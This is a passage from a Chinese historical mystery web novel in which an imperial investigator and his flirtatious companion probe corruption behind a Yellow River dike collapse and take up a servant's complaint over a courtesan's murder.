持伞的少年歪着头看他,嘴角勾起:“我不喜欢雪沾湿衣角,可一个男人在雪天打伞实在怪异,就劳烦哥哥陪我一起撑伞了。” 顾之行拒绝的动作一顿,目光意外落在少年瘦削的腕骨上,那腕骨上有着一条狰狞可怖的伤疤,顺着衣袖摆动而若隐若现。 他不动声色地移开目光:“你先前说周县尉此人不简单,是有什么发现?” “一个小小的九品芝麻官却有从西域传入的价值十金的“火琉璃”,这是其一。” 顾之行想起地牢里发生的事,接下话茬:“其二那些关在地牢的人动作异常,手臂上伤疤不一,身上的囚服却是新的,怕是为了掩饰他们身上的刑罚。” 虽说大梁律法并没有规定不得在状告官员的百姓身上动刑,但如此明显的掩饰,怕是有什么猫腻。 李案神色闪过赞赏之色:“是,他们想要屈打成招,只是没想到圣上还另外派人去调查此事。” 李案知道的似乎比他多,顾之行转头:“……你看过诉状?” 李案也不避讳,实话实说:“嗯,他们的口供和诉状里写的一摸一样,这证明他们并没有说谎,因为若是说谎,定会错洞百出。毕竟人的记忆是有限的,更何况他们还受到了一些刑罚,所以若不是亲身经历过这些事,只会加速记忆错乱,从而前后矛盾。” “可单凭我们觉得他们没有说谎没用,要拿出实际证据才有效。” 顾之行没有继续追问为何身为白身的李案会比他更早看过诉状,只道:“钟南山有一重重山,矿山众多,盛产玄武岩,若是我没记错,用于黄河堤坝的石材大部分都来源于此。” 其实历朝历代皆用“息壤”①修提筑坝,或者使用秸秆、柳枝等植物材料捆扎形成护岸结构,若是平时还好,可一旦黄河爆发,决堤是迟早的事,扰得岸边百姓苦不堪言。 而当年先帝勤政重视河患,用时六年,特以疏通,砌石固坝来防卫河患,却不曾想建好后仅三年便决堤,而后圣上派人去查,却只查出民工贪污…… 李案一笑:“拥有开矿权,可以私营官窑的是本地士族徐家。” 徐家是个本地小族,家中无人做官,落魄多年,十几年前徐涛将家中长女嫁给工部侍郎郑旭为妻,且生育了三儿一女。 工部尚书郑旭对徐家多有帮扶,前段时间……还想举荐一位徐家某位公子入朝为官。 顾之行:“如果要调查还是要从源头上查。” 李案:“这徐府自然也要查,只是为了不打草惊蛇让徐涛觉得我们是冲着他来的,所以还要寻个正当理由去拜访他。” “怎么做?” “我们需要一个人帮我们引荐。” 李案一脸神秘:“所以要委屈一下哥哥这几天装装样子了。” 顾之行:“……” 两人撑伞并肩行走在青石板上,雪落满了李案半个肩头,顾之行倒是无恙。 顾之行侧头看到这一幕,抬剑,用剑柄顶了顶李案的胳膊,提醒:“位置偏了。” 李案一愣,待反应过来后,眼底笑意更浓。非常不要脸地往顾之行身边又凑了凑,美名其曰:这样少淋雪。 “对了哥哥,我们今天晚上住哪儿?” “……官府驿站。” 官府驿站是用来给外来没有住处的官员暂时提供住宿休息的地方。 顾之行在书案上放着从县衙里拿出来的黄河决堤案卷宗和诉状。 他提笔写字,写完后,吹了个口哨,一只通体雪白的鸟飞到他窗前。 顾之行把纸条绑在它腿上后又放走。 朝邑县距离这里并不远,可他现在无法离开,只能传书给大志他们,让他们去朝邑县等相邻的几个县走访调查。 民告官此事虽不容小觑,可也容易被有心人推翻供词,只要给他们安装一些莫须有的罪名,角色就会瞬间转换。 不管是为了得到更多有利的证据,还是确认那些状告者的身份,大壮等人此行都是非去不可。 * 徐府,一位黑衣人接着夜色由家丁引领着进入灯火通明的书房,屋内收到消息的人已在等候,见屋门被推开,立马站起,迎上前:“贤婿为何深夜到此啊?” “岳父大人。” 男人将兜帽掀开,露出一张憔悴至极的脸,竟然是在阎都那位突然身患急症,多名大夫都束手无策的郑旭。他行礼道:“自然是有急事,您在此地没听说有人告我的状,让圣上要彻查宣德三年的黄河案?!” “哦,这个我知道。” 提起此事,徐涛到是不慌,依然笑着:“不但知道,调查的人明天还会赴我府举办的宴会。” “什么?” 郑旭是真的被吓坏了,脑子转了半天只得出:“你要干什么……贿赂他?可这人是个好贿赂的人吗?” “唉,何必那么麻烦。” 徐涛摇头:“百姓越级状告官员,而且还是在缺少证据的情况下,要想翻案哪有那么简单,只要我们还是上下一心,不去透露半分,这件事就能想之前一样不了了之,说不定他们还会成为诬告官员的罪犯。” “这我知道,可是圣上在没查清事情之前就将我停职在家……” 徐涛笑了:“是做做样子吧,毕竟百姓千里迢迢状告官员,还是在祭祀期间,事情闹得那么大,百姓议论纷纷,如果不做点什么,会引起骚乱的。” “何况贤婿的老师还是崔太师,圣上就算要彻查也要先看看四大世家之一的崔家吧。” “……” 郑旭被这么一安慰,心中总算放松了一点,可还是道:“只要我一天没复职,案子一天没了,我就还是不放心,我先在此处住下,等事情了了再回阎都。” 徐涛听罢,沉吟片刻:“这……可是贤婿离开阎都太久,会引起圣上怀疑吧?” “放心,我已安排妥当,不会有人察觉我已经离开。” 郑旭已经好几日不曾好好进食,现在放松下来,方觉肚子饿了,拿起桌上的点心就吃:“趁现在岳父和我讲讲那个查案之人是个什么样的人,还有我们要怎么对付他吧?” * 办案只靠一人在屋子里闭门造车是万万不能的,证据不会自动跑上门,而李案的提议给顾之行提供了一个很好的调察方向。 可惜顾之行这个目标人物太大,有太多人盯着,很多事他并不方便去做,便只能交给提议者——李案。 顾之行则扮演一个中看不中用的绣花枕头,由周县尉牵头,参加了一个诗集社,在他因“醉酒”被小厮搀扶着出集社后,背后有人开始议论纷纷,无非是觉得顾之行这个肚子里没半点墨的武将怎配参加由刺史牵头的集社,言辞间皆是傲慢不已。 顾之行一只脚踏出集社后,原本有些迷醉的双眸,瞬间清醒了,只是仍低垂着脑袋,假装有醉意,身为习武之人他自是将那些话一字不漏地听进去了,只不过他并不在意世人如何评价他。 心中想的是梁朝有律法严令禁止官员之间不得结党营私,这群人倒是大胆,青天白日,聚众喝酒。 这也无法,虽有禁令可仍架不住文人间的惺惺相惜,结交知己的心思,又不能随意拉着一个人就高谈阔论,讲些诗书经集,所谓谈笑有鸿儒,往来无白丁,大抵如此。 于是以四大世家为首的勋贵子弟成立了诗集社,下朝后脱掉官服,换上私服,聚在一起,不谈国事,只论诗词歌赋,上行下效,久而久之,此风雅韵事就流传起来,各地的集社如春雨后的竹笋冒出来,无论是否出仕入仕,只要你诗书文彩好,加之有人引荐,便能加入集社,各地文人也以加入集社为荣。 可此事已成社会风尚,圣上就算想动,那群读圣贤书的也定会反对,激起民愤是圣上最不愿看到的事,所以一时半会是动不得的。 在步下台阶时,小厮善意提醒道:“大人,这里有台阶,要小心些。” 顾之行刚要抬头,素布的衣角就在他眼前一闪而过,来人不由分说地将扶着他的小厮挤开,由自己搀扶着,就这还不忘回头礼貌笑道:“多谢照顾,不过这是我家大人,下面的事就交给小人吧。” “哎,你这……” 小厮哪里见过如此大胆的“小人”,顿时瞪大了眼睛,“这”了半天也说不出个什么来,只能目送那“小人”将顾之行搀扶着进轿。 顾之行因要维持“醉酒”的疲态,无法说什么,在进轿后才拉开距离,问:“你为何来这?是有什么进展?” 李案示意车夫驾车离开原地后,才放下轿帘,将备好的温热的醒酒汤递给顾之行。 顾之行看了醒酒汤一眼:“我刚才只是装醉,不必备醒酒汤给我。” “可我能闻出哥哥身上的酒味,应当还是被灌了不少吧,喝一些醒酒汤总归是好的。” 李案歪头笑道:“何况好歹是我的一片心意呢,哥哥真的要拂了它吗?” 顾之行目光落在醒酒汤上,很想问他为何对自己如此上心,可相处的这几日他又觉得这人不会好好说,便只是伸手接过。 李案笑着看顾之行喝完才道:“有,也没有。” 顾之行抬眼:“怎么说?” “我这些天乔装打扮接近徐府的人后,并没有发现有什么异常,虽坊间偶尔有些传闻说这徐家苛待自家劳工,甚至致使其伤残等,可大概是被徐家花钱压下去了,并没有找到什么可靠的证据证明。不过我到是找到了另一个好玩的地方。” 李案看向顾之行笑道:“哥哥要猜猜是什么吗?” 顾之行:“……猜不出。” 李案并没有被顾之行冷淡地态度扫兴,反而笑道:“是徐府的后院。没想到这徐涛一大把年纪了竟学戏曲本子里的秀才金屋藏娇,藏得那叫一个严实,平时不允许旁人靠近这个后院就算了,连送餐都专门派了一个哑巴去送,真是蹊跷。哥哥知道这徐涛屋子里藏的是什么人吗?” 不等顾之行开口,李案就勾唇笑道:“是咱们的工部尚书——郑旭。” 顾之行警觉起来,刚想问你如何认识工部尚书,便听李案继续道:“我远远地 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顾之行虽然身为暗卫首领却并没有多少例银,当了中郎将例银也没涨,怎么可能变出那么多的银子去打赏他们,而顾之行又要假装自己是个草包,只能由着他们忽悠,结果就是他腰间里钱没了,事也没办成。 归根到底还是没有根基,众人对他离心离德,不可能为他所用的。 官场腐败,从内部就烂到了骨子里,是不会因一人就改变的。 李案眼神微眯,过了一会儿才冷静道:“……这群人官官相护已成铁桶一片,从外部是奈何不了他们的,要用非常手段才行。” 可转而他又笑道:“对了,折腾了那么久,哥哥现在应该还没吃过什么东西吧?我昨日又寻了家好吃的店,哥哥陪我尝尝看?” 说着不等顾之行反应就先一步让马夫改变方向。 好似他们刚刚谈论的不是什么严肃之事。 顾之行:“……” 马夫应了一声,用马鞭驱使着马调头转弯,刚调了个头,一道身影就突然从角落里窜出来,事情发展过于突然,马受了惊,扬起马蹄嘶叫,几乎要暴走,幸好马夫驾驶技术精湛,很快就控住了马头才没有造成什么损失。 顾之行等马平静下来就掀起轿帘道:“发生了何事?” 马夫扭头答道:“回大人的话,刚刚有个人……哎,就是他……” 马夫正答复着,就见那个被马匹惊吓倒地的人,猛地站起来朝另一个方向逃走了,立马就指着那人道。 顾之行顺着马夫手指的方向看去,只见一名蓬头垢面,衣裳脏乱不堪的人以一种怪异的姿势窜入小巷里,双臂环抱着,怀里似乎还有什么东西。 顾之行心下觉得怪异,但人已跑远,青天白日他又不能运用轻功,巷子又狭窄只能容下一人进出,此刻让人驾马车去追已是不可能的,只能作罢。 “没出事就好,走吧。” 马夫得令,刚要重新驾车,一群带着家伙就拦住了马车,带头的是穿着青袍长衫的中年男人,他行礼道:“劳驾,刚刚可曾看到一个可疑的人跑过去?” 李案也跟着掀帘,刚瞧上一眼就笑道:“原来是老熟人,真是奇了。” 顾之行转头:“你认识他?” “认识,是刘家成衣铺子的管事,平时号称大善人,所以才奇怪为何带着一帮子人去追一个手无寸铁的小孩。” 小孩? 顾之行眉头微皱,刚刚那人虽弓着背,低头跑过,但看身形明明是个大人模样…… 李案并不以脸上这张皮办事,所以堂而皇之地假装高声道:“我家大人刚刚说,是有一个奇怪的人过去了,还冲撞了我们的马车……那人样貌没看清,但是个坡子,穿着破烂,后背还破了一个大洞……不知是不是你找的人?” 坡子?! 顾之行无意识地敲了敲自己坐着的轿座,思索起来:可看那人逃跑的姿势,分明不太像,除非…… 管事一听李案的形容立马高兴道:“正是我们要找的人,那人是我们家的伙计,腿脚有些问题,是个坡子。不知这位大人能否告知那人往何处去了?” “可以是可以,不过既然你们认识,那这赔偿你们是不是要付一下?” 管事大概从未见过如此厚颜无耻,张嘴就要赔偿之人,顿时愣住了:“大人,这从何说起啊。” 李案将无赖进行到底:“你可知我家大人是谁?那人无端冲撞了我们的马车,还耽误了我们时间,难不成就这么算了?真当我家大人是个好说话的?!” “……” 管事的脑袋平白被扣上一顶锅,当真是有苦说不清,可他看着这辆毫无特色的马车,一时还真猜不出这轿子里坐的是何方神圣,又见这“小厮”颐指气使的模样,怕真的冲撞了什么大人物,一时竟被吓唬住了,连忙道歉:“小人眼拙,原不识得大人,不知大人想要什么赔偿,不如这样如何……” 说着从袖子里掏出一个沉甸甸的钱袋,上前一步,双手奉上:“这是小人的一点心意,还请大人笑纳,若大人肯屈尊告诉大人名号,小人改日定登门拜访,重新赔罪。” 李案头微微倾过来,对顾之行笑道:“请大人定夺。” “……” 顾之行从李案的笑中明白了他的意思,这是要套话,冷声道:“本官看着是如此贪财之人吗?” “这……” 管事没想到顾之行会这样说,一时僵住了,半天才行礼道:“是小人该死,还请大人恕罪。” “罢了。” 顾之行音量提高了一些:“本官不是狭隘之人,就不与你计较了,不过本官很好奇你们为何要追着那人,那人是犯了什么事吗?” 说起此事管家倒是松了一口气,答道:“回大人的话,那人原是铺子里的伙计,因手脚不干净,几次偷布料拿出去卖……被我们发现以后拒不承认,我们只好将他绑了打算扭送到官府,没想到这人竟然趁人不注意偷跑了出来,我们才一路追赶至这里,没成想那人狡猾无比,不知钻进了哪里,竟寻不见他的踪影,所以才向大人问路……” 李案撇嘴,轻声道:“哥哥,他骗你呢,别信他。” 顾之行:“……” 话虽如此,李案还是给那管事指了一个正确方向:“他往那边跑了,你们去追吧。” “多谢大人指路。” 管事行礼道谢后,就急忙忙地去带人去追了,不过耽误的这阵儿也不知道到底能不能抓到人。 顾之行看向李案:“你为何觉得他说谎?” “那哥哥相信他说的吗?” 17. 劫杀 不相信,那管事一看就在撒谎,不要说身上的伤痕,只看那人的逃跑姿势就知道。 若是个坡子,逃跑时不会如此怪异,只有刚刚断掉的腿还不适应怎么跑才会如此。 而既然动用了私刑就不可能报官,当朝律法规定:主人家不得无故对仆从动用私刑,若犯事需交由官府查办。 可达官显贵的府中奴仆成群,或多或少都有些打骂,加之家丑不可外扬,所以通常都不会报官,而是选择自行处罚;府衙亦不可能天天处理这些家中小事,更不会主动管这些。 可不主动管不代表不管,若这事真的闹到了府衙里,对谁都不好。 顾之行不答反问:“你是怎么认识的管事?” 李案也不藏着,老实答道:“我潜入徐府时经常见徐府中的女眷让那管事的给她们送新的布料样式,裁剪衣裳,偶尔他也会低价卖一些剩下没人要的布料给我们,一来二去就熟悉了。” 顾之行看向那条黑黢黢,地上污水遍地,墙体都开裂的小巷子,整个如同匍匐在地的怪物,只等人走进就将他吞入腹中,淡淡道:“可惜这与本案并没有什么关系。” 李案若有所思盯着顾之行瞧了一会儿,才对马夫道:“继续走吧。” 与此同时,一个头戴渔帽的人影偷偷摸摸地出现在一家废弃的农舍附近,在进去前还四处看了看确保没人跟踪才翻过墙去。 屋里已经有几个人在此处等候了,见到来人便纷纷站起身:“魏哥。” “大志。” “魏哥好。” 大志原名就叫大志,像无数无父无母的流浪孤儿一样,他是没有名字的,连“大志”这个名字都是为了方便称呼他自己给自己起的,希望自己长大后能够大展宏图之志。 后来他成年了就想给自己这个名字加个姓。 当今世人最重传承,最讲家世门楣,倘若他们有了姓说出去会比较体面,会有一种你看我也有姓,不是什么狗杂种的错觉,所以训练营出来的人都会给自己取姓名,大志给自己取的姓名就是——魏志。 “魏”姓是那晚他将百家姓翻了又翻,几乎快翻烂了才定下的。 魏志将头上的渔帽摘下放在桌子上:“大家都查的怎么样了?查出什么东西来了没?” “没有。” “我这边也没发现什么异常。” “我也是。” “俺暂时也没发现有什么问题,不过话说老大为什么非要特意让我们走这一趟啊?那几个人的身份连带着往上十八代祖宗,早在进了地牢后就审问清楚了,这还能有假不成?” 魏志挠了挠头,其实他也不懂老大为什么让他们跑一趟,当时走得太急没来得及问……不过他觉得老大让他们这样做肯定有他的道理,便试图按照想象一下如果老大在这里,他会怎么想,怎么做…… 魏志这人看着不灵活,但脑袋会偶尔灵光一下,这时还真让他想起来临行前顾之行的一句交代:“对了,老大之前说过这案子不好办,肯定会受到很多阻碍,所以我想除了让我们搜查出更多有利的证据外,应该还要看看有没有什么外乡人来这儿浑水摸鱼,捏造一些所谓的证据去陷害那些民工。” 众人对视一眼,纷纷摇头,表示没有什么发现,他们乔装打扮混在集市里几乎和这里的人打成一片,还没听过有什么可疑之人在此出没。 魏志见状也不气馁:“那就再……” “我,我我……我……” 一名蹲在角落里人突然举起手,还有些稚嫩的脸因为害羞而涨得通红,见所有人的都朝他看过来,脸更红了,几乎恨不得将头埋进地里,说话都带着颤音:“我我,我……” “我”了个半天也说不出个所以然来,幸好在座的都不是个急性子,对这个比他们都小的少年很宽容,毕竟这小子除了害羞结巴,办事能力还挺不错,脑袋也聪明,甚至连轻功也仅次于顾之行,可是个好苗子。 清瘦少年越着急越说不出上来,几乎都快急哭了。 魏志安慰道:“别着急,慢慢说,我们也没催你,你想说什么就说什么。” 少年深呼吸了一口气,才缓缓吐出话来:“我我,我……来来……这儿,撞撞……到过一个个个……人……” 大致意思是少年刚刚急匆匆地赶过来集合时,因为走的太急迎面撞上了一个人,那人生得壮实,应该也是个练家子,竟直接将他撞倒在地,就这还想撸起袖子好好教训一下他,只是不知想到了什么,又没动手,只骂了两句娘就甩袖走了。那人穿着朴素,背着包袱,没什么稀奇的,但让少年记住的是那人的口音,一口流利标准的官腔,分明是个阎都人。 少年原本并不在意,还以为是从阎都来探亲的,直到魏西刚刚那番话点醒了他,才会那么着急地想要说话。 可像这种人一看就生长在阎都,怎么可能会有什么亲戚在这种穷乡僻壤的地方?还一人去探亲? 魏志一脸严肃:“你有没有看清楚那个人长什么样?” 少年用力地点头。 对此有人持不同意见:“魏哥,这真的能行吗?单凭小六儿一句话就……万一抓错了人怎么办?” 魏志将桌上的渔帽重新戴回头上,向来敦厚的脸,罕见地出现肃杀之气,他低头理了理腕带,神色冰冷,带着从腥风血雨里走过来的杀伐果断:“老大说过宁可错杀,也不可放过。” 他扭头:“小六儿,你找个画师将那人的画像画下来给我们,每个人都要去找,挖地三尺地找,找到以后不必带过来,也不必先问我,先找个没人的地方蒙头打一顿,等老实了就让他自己招,到底是真是假,总得先遛遛才知道。” “是!” * 官府驿站外,吃完晚饭,回到住处的顾之行刚下轿,迎面就走过来一名小厮,那小厮行礼后,将一份请帖从怀中拿出:“顾中郎将,这是我家大人的请柬,我家大人说白日里顾中郎将在宴中就起身走了想是有什么招待不周之处,故而想约顾中郎将明日到府上一叙。” 顾之行问:“你家大人是谁?” 那小厮大概在门外站了很久,晚些时候下的细雪已经簌簌落落落了满肩满头,偏偏还穿得有些单薄,在寒风中被冻得有些瑟瑟发抖,他吸了吸鼻涕道:“中州刺史,楚柩,楚大人。” 李案在身后给顾之行撑伞,闻言伸手:“给我就行。” 小厮将请帖给了李案,就要行礼告辞:“那小人现在就回府和大人说,顾中郎将明日赴约?” 顾之行点头。 李案见小厮走远才道:“这中州刺史是个什么样的人?为何突然邀哥哥去他府上一叙?” 顾之行也不知道,不过他奉行兵来将挡水来土掩,他现在有圣命在身,不管如何他们都奈何不了他,况且…… “楚柩这人还算个好官,不必担心。” 李案听到这话脸上已全无笑意,一丝嫉妒又夹杂着不安的情绪在他心中翻涌,只因顾之行说了那句“他还算个好官”,连个赞扬都算不上。 可落在李案的耳朵里,却成了另一种意思。 明明哥哥都没夸过我,那人又凭什么…… 他眸色暗沉盯着顾之行露出的白洁修长的后脖颈,手指无意识地摩挲着,他想要…… 就在他刚抬起手臂时,顾之行突然看向某处:“谁?!” 李案被那句“谁”惊得回神,当意识到自己刚刚的想法时,眸中无措地闪过一丝慌乱,不由自主地后退了一步。 顾之行的注意力全放在府外石狮子后面发出的声音,并没有注意到身后人的异常。 他闪身飞过,一把揪住要想要转身逃跑的人的衣领,直直将他摔在地上,与此同时那人怀里一直揣着的东西也掉了出来,顾之行看那人还挣扎着想要站起身,就一脚踩在那人的后背竟硬生生将那人压得爬不起来,他微微弯腰,厉声质问:“你是谁?谁派你过来的?” 李案此刻已恢复了平时模样,悠悠闲地走过来,他蹲在那人前面,看了一眼便挑眉笑道:“竟然是你?” 那人被顾之行一下给摔得够呛,半天才喘过气来,开口就恨骂道:“你们这群衣冠禽兽,吃着百姓的血就算了,却一点作为都没有……唔唔……” 李案手指成爪一把提起那人的脑袋,力气之大似乎只要稍微一用力那人的头盖骨就会被捏碎,他勾唇浅笑,神色却冰冷:“好好说话。” “……” 那人被李案宛如厉鬼的神色给吓得直接噤声,不敢再开口。 李案见他如此识时务便抬头,冲顾之行笑道:“哥哥不记得了?这是白天冲撞了我们马车的坡子啊。” 非常人畜无害。 “……?!” 那人一脸吃惊地看着变脸比翻书还快的李案,简直不敢相信眼前这人和刚刚威胁他的是同一个人?! 因视角问题,顾之行没看到李案的变化,像是终于认出来了,他终于把脚从那人身上拿开。 却没头没脑地来了一句:“听声音的确是个孩子,你是怎么猜到的?” 李案笑道:“大概是我比较聪明?” 顾之行:“……” 屋内,原先还爬在地上的人此刻已经在桌上疯狂的扒拉着饭菜。 看来那个管事并没有找到他。 顾之行坐在一旁,倒了一杯茶给自己,顺便也给他倒了一杯,推到面前,怕他噎死。 “你说你有冤情?” “唔唔……” 王二吃得太快,果不其然被噎到了,就要伸手拿起那杯茶,却不想另一个人手更快,直接夺了过去,王二猛一抬头就见李案笑道:“这茶水里有脏东西,还是别喝了,我重新给你倒一杯。” 笑得过于真诚,连顾之行都看了下自己杯中水有没有什么东西。 李案真就倒了一杯递给他,王二被噎得没空思考,拿起杯子就猛猛灌水,一杯不够又接连倒了好几杯,才好不容易把堵在喉咙里的食物给顺下去。 好险没被噎死。 “对,我要状告刘微!告他欺男霸女!还有……” 他一双眼睛滴溜溜地在顾之行和李案之间打转,半天才嗫喏道:“告你们这些官,收了钱不办事……” 李案不知从哪里掏出一个匕首,直接将它钉在桌台上,木质桌子从中间裂开一条缝,他抬眼挑眉笑道:“又不会说话了?我们可没有收你的钱,别动不动就攀扯上我们。” 王二被吓得直接打了一个嗝,才结结巴巴道:“可那县令的确收了我的钱……” 顾之行见王二说话颠三倒四,实在没啥逻辑便道:“重头说。” “……我原本是个在秋水楼干活的伙计,那刘家成衣铺子的管事——刘微是秋水楼的常客,出手阔绰,还经常点红珠姐姐,甚至许诺要为红珠姐姐赎身,各位大人也知道女人以色侍人能有几时好?若真的碰上一位恩客愿意花钱为自己赎身,那是天大的福气,我也是真心为红珠姐姐高兴……可没想到那刘微不是个东西……红珠姐姐赎身还没几日就被逼得上吊自尽,我听人说是红珠姐姐觉得自己脏配不上刘微所以羞愧自尽……放TMD狗屁,根本不是!” 说到这王二气愤地锤了锤桌子,眼眶通红,浑身都在颤抖,是真的很气愤:“红珠姐姐那样乐观的人,怎么可能会自尽!还为那种男人!!” 李案问道:“看来你和你说得那个红珠关系很好?” “那是自然!红珠姐姐是楼里最最漂亮,最最良善的人了!我因为天生体格子比别人大,所以饭量也比别人大,妈妈嫌弃我,不但打我,让我干最重的活还经常不给我饭吃,让我饿肚子,是红珠姐姐看我可怜,经常将恩客送的各种点心给我吃我才能活到现在……” “那天也是,妈妈又苛刻了我的晚饭,我实在饿极了,想到红珠姐姐就跑了出来,想去找她,我没想打扰她,毕竟她现在良家子了,不应该再和我们这种低贱的人打交道,我只是想远远地看看她,没想到……只看见她被蒙着白布,被人抬了出去,我没看见她脸,可她腕上戴的确是她母亲的遗物——一个木质手镯……” 说到这王二已是泣不成声,一把鼻涕一把泪地全抹身上了,他虽然说自己才十三岁,可看着却像刚过而立之年。 想象一下,一名长得五大三粗的大叔在你面前哭得像个孩子,实在是…… 李案嫌弃他这副样子太过碍眼,揉了揉眉:“所以你觉得红珠是被人害死的,然后就选择报官了?可惜害死红珠的人比你势大,那县令又是个欺软怕硬的,要了你的钱却没受理你的案子?” “对!那钱是我好不容易向楼里的姑娘借的,整整十两银子都给他了,可他收了好处却把我撵了出去,说我妨碍公堂,我不服还想闯进去……就被刘微那浑蛋带人将我打晕了关进他们家的柴房里,他们威胁我要我改口不去告他,不然就要杀我,我当然不从,被他们好一顿打……幸好我力气大,皮糙肉厚,硬挨了几顿打后,趁他们不注意生生挣脱了他们绑的绳子,逃跑了。” “然后他们就出去追你?” 王二摇头:“没有,他们并没有追我,大概是觉得我人微言轻,又被教训了一顿,应该会老老实实待着不再纠缠他们,对他们自然就构不成什么威胁了。不过也是像我这种低贱之人,说出去的话谁会信呢?” 他声音低了下去,带着浓厚的压抑与自卑。 顾之行有疑问:“那他们为什么现在去追你?” 王二抬起头,闪着泪花的眼神中带着坚毅:“因为我不服,红珠姐姐在世时为人那么好,凭什么要落得个这样凄惨的下场!却无一人为她平反!我虽不识字,可戏曲里唱得以德报德,善恶因果我还是知道一二的!” “所以我就又花了些银子买下要被他们丢弃的红珠姐姐的遗物,看看有没有什么东西能证明她是被害的。” 说着他将怀里的东西小心翼翼地拿出来,是一块包裹着东西的布,王二将它摊开,里面都是些姑娘用的胭脂水粉和一些不值钱的钗环。 李案在一推玩意儿中拿起了一本书,是本诗词,他刚翻开一页,就有东西掉在桌子上。 是一张折叠起来的纸。 李案拾起,展开,随后一笑:“怪不得你会被他们追杀?你红珠姐姐的遗物里可是藏着对他的催命符。” 王二震惊:“大人知道她是为什么死的?” 李案将纸递给顾之行,不答反问:“我们不是县令,你为什么会觉得我们会为你平反冤情?” 王二低头:“因为……因为你们是阎都来的官儿,街坊邻居都在说你们在帮百姓翻案……所以我就想赌一下,就算赌错了,我顶多就挨一顿打,反正也没事……” “可如果堵对了,那红珠姐姐在九泉之下也能瞑目。” 王二不懂什么官职,只听了一耳朵,热血上头就去找了顾之行,实则若没有皇命在身,顾之行一个中郎将,连“黄河案”都置喙不了。 李案:“那你现在是觉得堵对了还是堵错了?” 王二一愣,突然站起身,跪下:“你们给了我一口饭吃,我就知道你们是个好官,所以我想请你们帮帮我!” 说着结结实实地给李案和顾之行磕了三个响头:“两位大人若答应,来生我一定给两位大人做牛做马报答你们的恩情!” 这番义气当真是感人肺腑。 顾之行低头对王二道:“不用,起来吧,我会派人去调查清楚,你就先在这里住下,晚一点我会让人给你请个大夫顺便看看你的腿。” 王二知道自己这下找对人了,非常欣喜,再次磕头:“谢谢大人!” 时候不早了,王二还有伤在身,顾之行并没有在房中久留,让他今晚好好休息就走了。 王二直到看不见他们的身影才艰难地站起身,余光刚好瞥见了对面已经喝完的茶水,他疑惑道:“那位大人不是说这茶水脏吗?怎么还给喝了?” 在他百思不得其解时突然灵光一闪,恍然大悟般得出最后结论:“他们真是个勤俭节约的好官!连一杯茶水都舍不得浪费,就算脏了也要给喝掉。” 两人走在院廊,天色转暗,雪下得更加欢快了,大朵大朵的雪如棉絮似的下个不停,院中的景色都迷糊不清了。 寒风呼号着直往廊内刮,雪点子都扑到了身上,若换作旁人怕是早就冷得直跺脚,想着赶紧进屋取暖,顾之行却好似没有感觉,除了被冻红的耳朵尖透露出此刻很冷外,连睫毛都没颤抖一下。 他踩着廊下雪,道:“看来刘家成衣铺子并没有想象中那么简单。” “嗯,若那个刘微不是喜好折磨人的变态,怕是红珠不小心发现了他们的秘密,所以他们为了以绝后患,一不做二不休杀了她。” 李案不动声色地走在外面,用身子替顾之行挡了一些风雪,说到这突然扭头看着顾之行感叹了一句:“当真是个薄情人啊!” “……” 不知为何顾之行总觉得李案这最后一句是在意有所指。 李案已经换了一个话题:“哥哥后面打算怎么做?” 可能是自己想多了。 顾之行重新将思绪放回案子上:“既然已经有了把柄,肯定要好好利用。” 顾之行这样说也这样做的,天一亮他就让手下的人去调查刘微的真实身份,刘微与徐府一定有某种关联。 昨晚他们看到的一张纸上写着的是一笔笔收入支出,而上面的“徐”如此显眼让人不得不去留意。 不过这红珠也是个聪明人知道自己发现了他们的秘密,活不了,便留了个心眼,希望有人能够发现这一线索并顺着蛛丝马迹查清楚事情真相,帮她报仇。 同样这也给顾之行他们提供了一个能够扳倒郑旭等人的关键线索。 交代完事情,顾之行打算洗漱一下去楚府赴约,就听门外的敲门声响起:“哥哥,你起来了吗?” 顾之行没多想,只披了个外套就打开门:“何事?” “!” 李案仿若被雷劈中了似的呆愣在原地,只一双眼睛死死地黏在顾之行身上。 顾之行见李案没反应又重复了一遍,又问:“你找我?” 李案不知想到了什么,眼神突然有些躲避,双颊绯红,竟害羞了起来,他偏过头,似是不敢再看,喉咙不可自抑地滚动了一下:“哥,哥哥……怎么没穿衣服?” 也不怪李案这样说,顾之行穿了件单薄的中衣,衣领大开,漂亮的锁骨,白皙光滑的皮肤一览无余,再往下看去…… 加之顾之行并没有戴发冠,青丝如瀑布般倾泻而下,勾勒出他清俊的脸庞,整个人透出一种慵懒的模样,和平时清冷到淡漠的样子完全是两个极端,惹人遐想。 “……” 顾之行不知李案又在发什么疯,转身只留李案一人无措地站在外面:“胡说什么?进来。” 李案在外面徘徊了一会儿,才磨磨蹭蹭地进来,就这也完全不敢看顾之行,慌张不已,完全没有了平时的嚣张。 直到顾之行穿上衣服,戴好发冠才慢慢平复好慌乱的心情,拿出事先给顾之行准备的肉饼,打开还是温热的,大雪天气,食物冷得很快,也不知他是怎么做到的。 顾之行看了一眼食物,转头问:“你吃过了吗?” 李案笑道:“还没有。” “那就一起。” “好。” 李案今天心情似乎格外好,连吃饭都哼着歌,顾之行想忽视都忽视不了:“你今天心情很好?是案情又有什么进展了吗?” “不是。” 李案摇头笑道:“我心情好是因为今天和哥哥一起吃饭。” 这话说得极暧昧,奈何顾之行是个木头,不懂其意。 顾之行:“……” 他们不是每天都一起吃吗? 当然李案的好心情只持续了一会儿,就被某人打破了。 李案看着与顾之行交谈的楚柩,脸色着实称不上好看。 昨日大雪封路,路上积了很厚的雪,纵使天不亮官府就组织人员铲雪,可路面上依然很滑,马车是坐不了的,只能步行。 而顾之行觉得走路去也行,李案劝不住便只能跟着。 楚柩原以为顾之行今日会推辞不来,没想到他竟会准时赴约,到也是个性情中人! 便起了提点之意,话中虽无拉拢,却道:“你奉圣命办案?可曾想过案情之后的事?” 顾之行:“为圣上效命,自当鞠躬尽瘁死而后已,何来顾虑一说?” “你太年轻,所以不知道人于世间行走,一些处世之道还是要学的……” 顾之行:“……” 话不投机半句多,顾之行虽有些敬重这人,但有些东西却是不容旁人置喙,没聊多久便要起身告辞。 楚柩叹息:“罢了,几日后,徐府借给他孙女举办周岁宴而邀请各位官员,你大概也在邀请之列。” 顾之行行礼:“多谢刺史告知,告辞。” 李案在后面小声评价:“迂腐又胆小的老东西。” * 当晚连夜赶回来的魏志就将在朝邑县发生的事一五一十地告诉给了顾之行,包括他们如何寻找蹲守,如何将那人制服,招供,最后还不忘夸赞道:“老大,你真是料事如神。” 顾之行:“那人现在何处?” “没有你的命令,我们没敢处置他,所以将他带了过来,老大现在该怎么办?” 